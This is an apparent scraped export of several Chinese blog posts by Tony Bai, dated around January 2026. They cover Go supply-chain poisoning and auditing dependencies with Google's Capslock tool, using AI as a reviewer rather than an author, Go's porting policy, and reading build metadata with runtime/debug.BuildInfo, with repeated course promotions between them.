代码的质量和架构健康的？\n欢迎在评论区分享你的故事或困惑，让我们在这场孤独的派对中找到彼此。\n如果这篇文章触动了你，别忘了点个【赞】和【在看】，并分享给那些同样在 AI 浪潮中思考未来的朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/02/kent-beck-ai-era-code-review-end-and-rebirth/","summary":"\u003ch1 id=\"kent-beck-最新思考ai-时代的一人派对代码审查的终结与重生---tony-bai\"\u003eKent Beck 最新思考：AI 时代的“一人派对”，代码审查的终结与重生 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Kent Beck 最新思考：AI 时代的“一人派对”，代码审查的终结与重生"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/02/go-supply-chain-attack-source-code-to-capability-auditing-paradigm-shift\n大家好，我是Tony Bai。\n在软件供应链安全的传统认知中，我们默认遵循一个假设：“代码即真理”。如果你审查了 GitHub 上的源码，确认它是安全的，那么你部署的服务就应该是安全的。\n然而，2025 年初在 Go 生态中爆发的 BoltDB 投毒事件，以及之前的 XZ 后门事件，无情地粉碎了这个假设。攻击者正在利用构建系统的复杂性和 Git 标签的可变性，在“源码”与“构建产物”之间制造出一片致命的盲区。\n面对这种不对称的战争，传统的“源码审计”已显疲态。在 GopherCon 2025 上，Google Cloud 安全专家 Jess McClintock 提出了一个新观点：我们需要一场防御范式的转移——从关注代码“写了什么”，转向关注构建产物“能做什么”。\n本文将带你深入这场范式转移的核心，剖析攻击手段的演变，并手把手教你使用 Google 开源的 Capslock 工具，开启你的“能力审计”之路。\n旧范式的崩塌——当“所见”不再“所得” “源码审计”失效的根本原因，在于源码仓库不再是单一的事实来源 (Source of Truth)。\n以 BoltDB 投毒案为例，这是一场教科书式的“偷天换日”：\n投毒：攻击者发布了一个包含恶意后门的版本，打上 v1.3.1 的 git 标签。 缓存：Go Module Proxy（Go 生态的官方镜像）忠实地抓取并缓存了这个恶意版本。 清洗：攻击者随即在 GitHub 上强制推送 (force-push) 了一个同名的 v1.3.1 标签，指向一个干净的提交。 结果是分裂的：\n审计者在 GitHub 上看到的是“良民”。 编译器从 Proxy 拉取的是“恶棍”。 这标志着旧范式的崩塌：你审查的代码，并不是你运行的代码。\n供应链攻击的进化——隐藏在构建链中的幽灵 Jess 指出，这种攻击并非孤例，而是一种正在蔓延的行业趋势。\nXZ 后门：恶意载荷被伪装成测试文件，只有在特定的构建脚本执行时才会被注入。在源码树中，它是静止的、无害的；但在构建过程中，它“活”了过来。 npm EventStream：利用版本号策略，让恶意代码只存在于次要版本中，避开对主要版本的审查。 这些案例共同指向一个结论：安全性不能只靠静态的源码分析，必须向右移动，覆盖到最终的构建产物 (Build Artifact)。\n新范式确立——能力审计 (Capability Audit) 既然我们无法逐行审查庞大的依赖树，也无法完全信任源码，那么出路在哪里？\n答案是：关注行为边界。这就是“能力审计”的核心思想。\n借鉴移动端 App 的权限管理模型，我们不再纠结于依赖包内部怎么实现，而是关注它申请了什么能力。\n一个 JSON 解析库，如果申请了 net.Dial (网络访问) 能力，这就是异常。 一个日志库，如果申请了 os.Exec (命令执行) 能力，这就是红色警报。 通过监控依赖包的“能力列表”及其变化，我们可以以极低的成本，通过行为特征识别出潜在的供应链攻击，无论源码如何伪装。\nCapslock——Google 的开源防御武器 为了将“能力审计”落地，Google 开源了 Capslock。它是一个针对 Go 语言的静态分析工具，通过解析构建产物，构建完整的函数调用图，从而透视出代码的真实能力。\nCapslock 能做什么？ Capslock 的核心价值在于**“透视”。它不关心代码的具体逻辑，而是关注代码触及了哪些系统边界**。它能识别出以下几类关键能力：\n网络访问 (NETWORK)：连接互联网或绑定端口。 文件系统 (FILES)：读写文件。 系统执行 (EXEC)：启动子进程。 底层操作 (UNSAFE, REFLECT, CGO)：使用不安全指针、反射或调用 C 代码。 快速上手：Capslock 实战指南 想体验“能力审计”的威力？只需三步。\n1. 安装工具\n确保你安装了最新的 Go 环境，然后运行：\n$go install github.com/google/capslock/cmd/capslock@latest 2. 扫描当前项目\n在你的 Go 项目根目录下运行，Capslock 会自动分析当前模块及其所有依赖，以我的issue2md开源项目为例：\n$capslock -packages=. Capslock is an experimental tool for static analysis of Go packages. Share feedback and file bugs at https://github.com/google/capslock. For additional debugging signals, use verbose mode with -output=verbose To get machine-readable full analysis output, use -output=json FILES: 1 references NETWORK: 1 references REFLECT: 2 references 我们看到该issue2md项目使用了文件访问、网络访问以及反射能力。如果你要看具体是哪些代码用到了这些能力，可以让capslock输出verbose信息：\n$capslock -packages=. -output=v Capslock is an experimental tool for static analysis of Go packages. Share feedback and file bugs at https://github.com/google/capslock. To get machine-readable full analysis output, use -output=json FILES: 1 references (1 direct, 0 transitive) Example callpath: github.com/bigwhite/issue2md.main main.go:29:11:log.Fatal log.go:423:12:(*log.Logger).output log.go:244:23:(*os.File).Write NETWORK: 1 references (1 direct, 0 transitive) Example callpath: github.com/bigwhite/issue2md.main main.go:24:23:net/http.FileServer REFLECT: 2 references (1 direct, 1 transitive) Example callpath: github.com/bigwhite/issue2md.main main.go:18:12:flag.Parse flag.go:1188:19:(*flag.FlagSet).Parse flag.go:1157:26:(*flag.FlagSet).parseOne flag.go:1112:11:(*flag.FlagSet).usage flag.go:1068:17:(*flag.FlagSet).defaultUsage flag.go:690:17:(*flag.FlagSet).PrintDefaults flag.go:609:12:(*flag.FlagSet).VisitAll flag.go:458:5:(*flag.FlagSet).PrintDefaults$1 flag.go:630:32:flag.isZeroValue flag.go:545:18:reflect.New 3. 进阶：对比版本差异 (Diff)\n这是 Capslock 最核心、也最强大的用法之一。当你想升级某个依赖时，如何知道新版本是否引入了恶意行为？下面以我fork的govanityurls为例，看一下如何进行版本能力的差异对比。我的govanityurls的唯一依赖是gopkg.in/yaml.v2。\n# 1. 保存依赖的旧版本的分析结果 capslock -packages=gopkg.in/yaml.v2 -output=json \u0026gt; v2.3.0.json # 2. 比较新版本 (假设你已经 go get了新版本，比如v2.4.0) $capslock -packages=gopkg.in/yaml.v2 -output=compare ./v2.3.0.json 如果输出显示新增了 NETWORK 或 EXEC 能力，这就是一个必须要人工介入审查的红色警报。在我这个示例中，gopkg.in/yaml.v2 v2.4.0，相对于v2.3.0没有能力增加。\n知己知彼：Capslock 的局限性 作为一个静态分析工具，Capslock 并非全知全能。了解它的盲区，对于正确使用它至关重要：\nCGO 与汇编盲区：Capslock 无法分析 C 代码或汇编代码。如果一个包使用了 CGO，Capslock 会报告它拥有 CGO 能力，但无法告诉你 C 代码内部具体做了什么。这是静态分析的物理边界。 反射与 Unsafe：通过 reflect 或 unsafe 包进行的动态调用，往往让静态分析难以追踪。Capslock 会诚实地报告这些“不可知”的区域为 REFLECT 或 UNSAFE，提示你需要人工审查。 误报 (False Positives)：静态分析假设所有代码路径都可能被执行。如果一段恶意代码藏在一个永远不会为 true 的 if 分支里，Capslock 依然会报告其能力。但在安全领域，“宁可错杀，不可放过” 是正确的策略。 尽管有这些局限，Capslock 依然是目前 Go 生态中进行大规模、自动化能力审计的最佳工具。它为我们在供应链的汪洋大海中，提供了一个至关重要的“雷达”。\n构建零信任的开发流程 从“源码审计”到“能力审计”，代表了我们对供应链安全认知的升级。在 AI 辅助编程日益普及、代码生成速度呈指数级增长的今天，这种基于行为边界的守门人机制，将变得愈发重要。\n给团队的落地建议：\n锁定 Commit：在 go.mod 中尽量使用伪版本号（pseudo-version）锁定 Commit Hash，因为 Tag 是可变的，但 Hash 是不可伪造的。 CI 集成：不要只在本地运行 Capslock，把它变成 CI 的一部分。通过将 Capslock 加入到你的 CI 流水线（例如 GitHub Actions、gitlab ci等），你可以设定一条红线：任何新增的高危能力（如网络、执行），必须触发人工审查阻断。 保持怀疑：当一个纯计算类的库突然想要访问网络时，哪怕源码看起来再正常，也要坚决说不。 小结 安全不是一个状态，而是一个过程。当攻击者学会了“偷天换日”，防御者就必须学会“火眼金睛”。Capslock 和能力审计范式，正是 Go 生态在这个新时代交出的答卷。\n参考资料 The Code You Reviewed is Not the Code You Built by Jess McClintock – https://www.youtube.com/watch?v=70ka67DpLPc capslock repo – https://github.com/google/capslock Go Supply Chain Attack: Malicious Package Exploits Go Module Proxy Caching for Persistence – https://socket.dev/blog/malicious-package-exploits-go-module-proxy-caching-for-persistence 聊聊你的安全焦虑\n供应链攻击防不胜防，Capslock 给了我们一个新的视角。在你日常的开发中，是如何管理第三方依赖安全的？是否遇到过类似的“李鬼”包？或者，你对“能力审计”这种新范式有什么看法？\n欢迎在评论区分享你的经验或担忧！ 让我们一起筑牢 Go 生态的安全防线。\n如果这篇文章让你对供应链安全有了新的认识，别忘了点个【赞】和【在看】，并转发给你的团队，安全无小事！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/02/go-supply-chain-attack-source-code-to-capability-auditing-paradigm-shift/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-supply-chain-attack-source-code-to-capability-auditing-paradigm-shift-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/02/go-supply-chain-attack-source-code-to-capability-auditing-paradigm-shift\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/02/go-supply-chain-attack-source-code-to-capability-auditing-paradigm-shift\"\u003ehttps://tonybai.com/2026/01/02/go-supply-chain-attack-source-code-to-capability-auditing-paradigm-shift\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2025/05/22/go-sbom-practice\"\u003e软件供应链安全\u003c/a\u003e的传统认知中，我们默认遵循一个假设：“代码即真理”。如果你审查了 GitHub 上的源码，确认它是安全的，那么你部署的服务就应该是安全的。\u003c/p\u003e\n\u003cp\u003e然而，2025 年初在 Go 生态中爆发的 \u003cstrong\u003eBoltDB 投毒事件\u003c/strong\u003e，以及之前的 \u003cstrong\u003eXZ 后门事件\u003c/strong\u003e，无情地粉碎了这个假设。攻击者正在利用构建系统的复杂性和 Git 标签的可变性，在“源码”与“构建产物”之间制造出一片致命的盲区。\u003c/p\u003e","title":"从“源码审计”到“能力审计”：Go 生态应对供应链攻击的范式转移"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/01/ai-is-the-fastest-way-to-forget-how-to-code\n大家好，我是Tony Bai。\n在 Copilot、Cursor、Claude Code等普及的这两年，编程似乎变得前所未有的轻松。\nTab 键一按，十行代码倾泻而出；回车一敲，整个函数自动补全；一个Prompt发出，一个项目的框架代码便完成了。那种多巴胺分泌的快感是真实的，效率提升的数据也是真实的。我们仿佛一夜之间都变成了“十倍工程师”。\n但在这种虚幻的快感背后，一种隐秘的焦虑正在资深开发者群体中蔓延：离开 AI 提示词，你还能流畅地写出一个复杂的递归，或者手撸一个带有完整错误处理的 HTTP Client 吗？\n最近，我在技术社区看到一段发人深省的论述，它像一盆冷水，浇在了在这个狂热的 AI 时代：\n“AI is the fastest way to forget how to code and how to think.”\n（AI 是让你忘掉如何编程、忘掉如何思考的最快方式。）\n这句话听起来很刺耳，但很真实。\n如果我们习惯了让 AI 替我们思考，我们的大脑正在经历一场无声的“认知肌肉萎缩”。在 AI 时代，写下每一行代码依然重要。这不是一种复古的情怀，而是关乎我们职业生存的**“认知保留”**。\n警惕“GPS 效应”：你是在驾驶，还是在被运送？ 心理学中有一个著名的**“GPS 效应”**：习惯了使用导航的人，海马体（负责空间记忆的脑区）活跃度会降低，久而久之，他们会逐渐丧失方向感，甚至在自家小区门口也会迷路。\n编程也是一样。\n学习和成长的本质，发生在“挣扎”的过程中。\n当你为了设计一个类结构而绞尽脑汁，当你为了修复一个“竞态条件”而彻夜排查，你的大脑正在构建复杂的神经连接，正在建立对系统的**“心智模型”**。\n如果你跳过了这个“挣扎”的过程，直接向 AI 索要答案：\nAI 变成了“代笔者（Author）”：它替你构建了心智模型。 你变成了“消费者（Consumer）”：你只负责 Copy \u0026amp; Paste。 结果是：代码虽然跑通了，但你对系统组件之间的连接、潜在的边缘情况（Edge Cases）一无所知。你不再是代码的**“作者”，你只是代码的“搬运工”**。\n一旦 AI 遇到它没见过的深水区，或者系统出现了一个隐蔽的 Bug，你会发现自己束手无策——因为你从未真正拥有过这段代码。\n重构契约：把 AI 当做“磨刀石”，而非“枪手” 那么，我们要因噎废食，扔掉 AI 吗？当然不。\n关键在于重构你与 AI 的协作契约。\n核心原则只有一条：\nUse AI as a Reviewer, a Rubber Duck, a Teacher. Not as an Author.\n（把它当作审查者、橡胶鸭、导师。绝不要把它当作代笔者。）\n如果 AI 在替你思考，你在退步；如果 AI 在逼迫你思考得更深，你在进步。\n以下是基于这个原则的 4 个深度思考工作流：\n1. 解释意图，而非索要实现 不要直接丢一句“帮我写个鉴权中间件”。\n试着这样做： 你自己写出核心逻辑，然后对 AI 说：\n“这是我写的鉴权逻辑。请解释我为什么在这里使用了 Context 传递用户信息？这种写法符合 Go 语言的惯用范式吗？有没有更好的风格？”\n收益： 强迫自己理清思路，利用 AI 验证你的设计直觉。\n2. 索要权衡(trade off)，而非标准答案 不要问“在这个场景下我该用 Redis 还是 Memcached？”\n试着这样做：\n“我倾向于使用 Redis，因为我们需要持久化。但在这个高并发场景下，使用 Redis 会带来哪些潜在的性能瓶颈或运维风险？请列出 Trade-offs。”\n收益： AI 不再是给你喂饭，而是在陪你进行架构评审（Architecture Review）。\n3. 寻找盲区，挑战假设 当你写完一段代码，觉得完美无缺时，把它扔给 AI：\n“这段代码在什么极端输入下会崩溃（Edge Cases）？我是否遗漏了某些并发安全问题？请像一个最挑剔的 Tech Lead 一样 Review 它。”\n收益： 利用 AI 广博的知识库，填补你的认知盲区。\n4. 生成测试，而非生产代码 这是一个最高阶的玩法。你自己写业务代码，让 AI 写测试用例。\n“这是我实现的订单状态机。请为它编写一套覆盖率 100% 的单元测试，特别是针对状态回滚的异常场景。”\n收益： 如果 AI 生成的测试跑通了，说明你的逻辑是自洽的；如果跑不通，或者 AI 根本理解不了你的代码，说明你没想清楚。\n小结：不要温和地走进那个良夜 在 AI 时代，能够熟练调用 API 生成代码的人多如牛毛。\n但能够独立构建复杂系统心智模型，并能驾驭 AI 进行深度架构推演的人，将变得极度稀缺。\nWriting code matters.\n写代码的过程，强迫你思考，强迫你大脑建立连接，强迫你理解系统是如何像齿轮一样咬合的。\n请继续亲自写下那些核心的、关键的代码。\n把 AI 当作你的磨刀石，让你的思维在与它的碰撞中变得更加锋利，而不是让它锈蚀你的大脑。\n深度实战：构建“以人为本”的 AI 工作流\n道理大家都懂，但在高压的项目交付期，我们很容易滑向“让 AI 全自动生成”的舒适区。\n如何建立一套强制性的工作流，既利用 AI 的效率，又保留人类的深度思考？\n如何在 Spec 文档中通过**“伪代码”**保留思考过程？ 如何配置 Claude Code，让它默认扮演 Reviewer 而不是 Coder？ 如何利用 SDD (Spec-Driven Development) 迫使自己在 Coding 前先进行完整的思维推演？ 如果你想掌握这套**“不降智、反内卷”**的高阶开发心法，欢迎关注我的极客时间专栏《AI原生开发工作流实战》。\n在这个专栏里，我不教你如何偷懒，我教你如何进化。我们将一起探索，如何在 AI 的加持下，成为更强大的Software Engineer，而不是更快的Typist。\n扫描下方卡片，开启你的认知升级之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/01/ai-is-the-fastest-way-to-forget-how-to-code/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/ai-is-the-fastest-way-to-forget-how-to-code-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/01/ai-is-the-fastest-way-to-forget-how-to-code\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/01/ai-is-the-fastest-way-to-forget-how-to-code\"\u003ehttps://tonybai.com/2026/01/01/ai-is-the-fastest-way-to-forget-how-to-code\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Copilot、Cursor、Claude Code等普及的这两年，编程似乎变得前所未有的轻松。\u003c/p\u003e\n\u003cp\u003eTab 键一按，十行代码倾泻而出；回车一敲，整个函数自动补全；一个Prompt发出，一个项目的框架代码便完成了。那种多巴胺分泌的快感是真实的，效率提升的数据也是真实的。我们仿佛一夜之间都变成了“十倍工程师”。\u003c/p\u003e","title":"AI 是让你忘掉如何编程的最快方式"},{"content":"Go 考古：Go 官方如何决定支持你的 CPU 和 OS？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nGo 考古：Go 官方如何决定支持你的 CPU 和 OS？ 一月 1, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/01/01/go-archaeology-porting-policy\n大家好，我是Tony Bai。\n当我们津津乐道于 Go 语言强大的跨平台编译能力——只需一个 GOOS=linux GOARCH=amd64 就能在 Mac 上编译出 Linux Go程序时，你是否想过，这些操作系统和 CPU 架构的组合（Port）是如何被选入 Go 核心代码库的？\n为什么 linux/amd64 稳如泰山，而 darwin/386 却消失在历史长河中？为什么新兴的 linux/riscv64 或 linux/loong64 能被接纳？\n这一切的背后，都遵循着一份严谨的 Go Porting Policy。今天，我们就来翻开这份“法典”，一探究竟。\n什么是“Port”？ 在 Go 的语境下，一个 Port 指的是 操作系统 (OS) 与 处理器架构 (Architecture) 的特定组合。例如：\nlinux/amd64：运行在 64 位 x86 处理器上的 Linux。 windows/arm64：运行在 ARM64 处理器上的 Windows。 每一个 Port 的引入，都意味着 Go 编译器后端需要生成对应的机器码，运行时（Runtime）需要处理特定的系统调用、内存管理和线程调度。这是一项巨大的工程。\n等级森严：First-Class Ports (一等公民) Go 官方将 Ports 分为两类，这并非歧视，而是基于稳定性承诺和维护成本的考量。\nFirst-Class Ports 是 Go 官方（Google Go Team）承诺全力支持的平台。它们享有最高级别的待遇，也承担着最重的责任：\n阻断发布 (Block Releases)：如果任何一个 First-Class Port 的构建或测试失败，Go 的新版本（包括 Beta 和 RC）就绝对不会发布。 官方兜底：Google 的 Go 团队负责维护这些平台的构建机器（Builder），并对任何破坏这些平台的代码变更负责。 目前的 First-Class Ports 名单（极少，只有核心的几个）：\nlinux/amd64, linux/386, linux/arm, linux/arm64\ndarwin/amd64, darwin/arm64 (macOS)\nwindows/amd64, windows/386\n冷知识：Linux 下只有使用 glibc 的系统才算 First-Class。使用 musl (如 Alpine Linux) 的并不在这个名单里，虽然它们通常也能工作得很好。\n社区的力量：Secondary Ports (次要组合) 除了上述几个“亲儿子”，Go 支持的几十种其他平台（如 freebsd/, openbsd/, netbsd/, aix/, illumos/, plan9/, js/wasm 等）都属于 Secondary Ports。\n它们的生存法则完全不同：\n社区维护制：必须至少有两名活跃的社区开发者签名画押，承诺维护这个 Port。 不阻碍发布：如果一个次要 Port 的构建挂了，Go 官方不会为了它推迟版本发布。它可能会在 Release Note 中被标记为“Broken”甚至“Unsupported”。 自备干粮：维护者必须提供并维护构建机器，接入 Go 的 CI 系统。 这意味着，如果你想让 Go 支持一个冷门的嵌入式系统，你不仅要贡献代码，还得长期确保持续集成（CI）是绿的。\n优胜劣汰：如何新增与移除？ 新增一个 Port 想让 Go 支持一个新的芯片架构（比如龙芯 LoongArch）？流程是严格的：\n提交 Proposal：论证这个 Port 的价值（潜在用户量）与维护成本的平衡。 找人：指定至少两名维护者。 先行：可以在 x/sys 库中先行验证对新Port系统调用的支持，甚至在构建机器跑通之前，代码不能合入主分支。 移除一个 Port (Broken Ports) Go 不会无限制地背负历史包袱。一个 Port 如果满足以下条件，可能会被移除：\n构建失败且无人修：如果一个 Secondary Port 长期构建失败，且维护者失联，它会被标记为 Broken。如果在下一个大版本（1.N+1）发布前还没修好，就会被移除。 硬件消亡：如果硬件都停产了（例如 IBM POWER5），Go 也没必要支持了。 厂商放弃：如果 OS 厂商都不支持了（例如老版本的 macOS），Go 也会跟随弃用。 这就是为什么 Go 在某个版本后不再支持 Windows XP 或 macOS 10.12 的原因——为了让有限的开发资源聚焦在更广泛使用的系统上。\n小结 Go 的 Porting Policy 展示了一个成熟开源项目的治理智慧：核心聚焦，边界开放，权责对等。\n它保证了 Go 在主流平台上的坚如磐石，同时也通过社区机制，让 Go 的触角延伸到了无数小众和新兴的领域。下次当你为一个冷门平台编译 Go 程序成功时，别忘了感谢那些默默维护 Builder 的社区志愿者们。\n参考资料：https://go.dev/wiki/PortingPolicy\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/01/go-archaeology-porting-policy/","summary":"\u003ch1 id=\"go-考古go-官方如何决定支持你的-cpu-和-os---tony-bai\"\u003eGo 考古：Go 官方如何决定支持你的 CPU 和 OS？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"Go 考古：Go 官方如何决定支持你的 CPU 和 OS？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/31/go-introspection-using-debug-buildinfo\n大家好，我是Tony Bai。\n在微服务和云原生时代，当我们面对线上服务的报警时，第一个问题往往不是“哪里出错了？”，而是——“现在线上跑的到底是哪个版本？”\n在 Go 的蛮荒时代，我们习惯在 Makefile 里写上一长串 -ldflags “-X main.version=$(git describe …) -X main.commit=$(git rev-parse …)”。这种方法虽然有效，但繁琐、易忘，且容易因为构建脚本的差异导致信息缺失。\n其实，Go 语言早就为我们准备好了一套强大的**“自省”**机制。通过标准库 runtime/debug，二进制文件可以清晰地告诉我们它是由哪个 Commit 构建的、何时构建的、甚至它依赖了哪些库的哪个版本。\n今天，我们就来深入挖掘 debug.BuildInfo，打造一个具有“自我意识”的 Go 服务。\n重新认识 debug.BuildInfo Go 编译器在构建二进制文件时，会将构建时的元数据（Module Path、Go Version、Dependencies、Build Settings）写入到二进制文件的特定区域。在运行时，我们可以通过 runtime/debug.ReadBuildInfo() 读取这些信息。\n让我们看一个最基础的例子：\n// buildinfo-examples/demo1/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime/debug\u0026#34; ) func main() { info, ok := debug.ReadBuildInfo() if !ok { fmt.Println(\u0026#34;未获取到构建信息，请确保使用 Go Modules 构建\u0026#34;) return } fmt.Printf(\u0026#34;主模块: %s\\n\u0026#34;, info.Main.Path) fmt.Printf(\u0026#34;Go版本: %s\\n\u0026#34;, info.GoVersion) } 当你使用 go build 编译并运行上述代码时，你会发现它能准确输出模块名和 Go 版本。但这只是冰山一角。\n$go build $./demo1 主模块: demo1 Go版本: go1.25.3 告别 ldflags：VCS Stamping (版本控制盖章) 从 Go 1.18 开始，Go 工具链引入了一项杀手级特性：VCS Stamping。默认情况下，go build 会自动检测当前的 Git（或 SVN 等）仓库状态，并将关键信息嵌入到 BuildInfo.Settings 中。\n这意味着，你不再需要手动提取 Git Hash 并注入了。\n我们可以编写一个辅助函数来提取这些信息：\n// buildinfo-examples/demo2/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime/debug\u0026#34; ) func printVCSInfo() { info, _ := debug.ReadBuildInfo() var revision string var time string var modified bool for _, setting := range info.Settings { switch setting.Key { case \u0026#34;vcs.revision\u0026#34;: revision = setting.Value case \u0026#34;vcs.time\u0026#34;: time = setting.Value case \u0026#34;vcs.modified\u0026#34;: modified = (setting.Value == \u0026#34;true\u0026#34;) } } fmt.Printf(\u0026#34;Git Commit: %s\\n\u0026#34;, revision) fmt.Printf(\u0026#34;Build Time: %s\\n\u0026#34;, time) fmt.Printf(\u0026#34;Dirty Build: %v\\n\u0026#34;, modified) // 这一点至关重要！ } func main() { printVCSInfo() } 编译并运行示例：\n$go build $./demo2 Git Commit: aa3539a9c4da76d89d25573917b2b37bb43f8a2a Build Time: 2025-12-22T04:24:05Z Dirty Build: true 这里的 vcs.modified 非常关键。如果为 true，说明构建时的代码包含未提交的更改。对于线上生产环境，我们应当严厉禁止 Dirty Build，因为这意味着不仅代码不可追溯，甚至可能包含临时的调试逻辑。\n注意：如果使用 -buildvcs=false 标志或者在非 Git 目录下构建，这些信息将不会存在。\n依赖审计：你的服务里藏着什么？ 除了自身的版本，BuildInfo 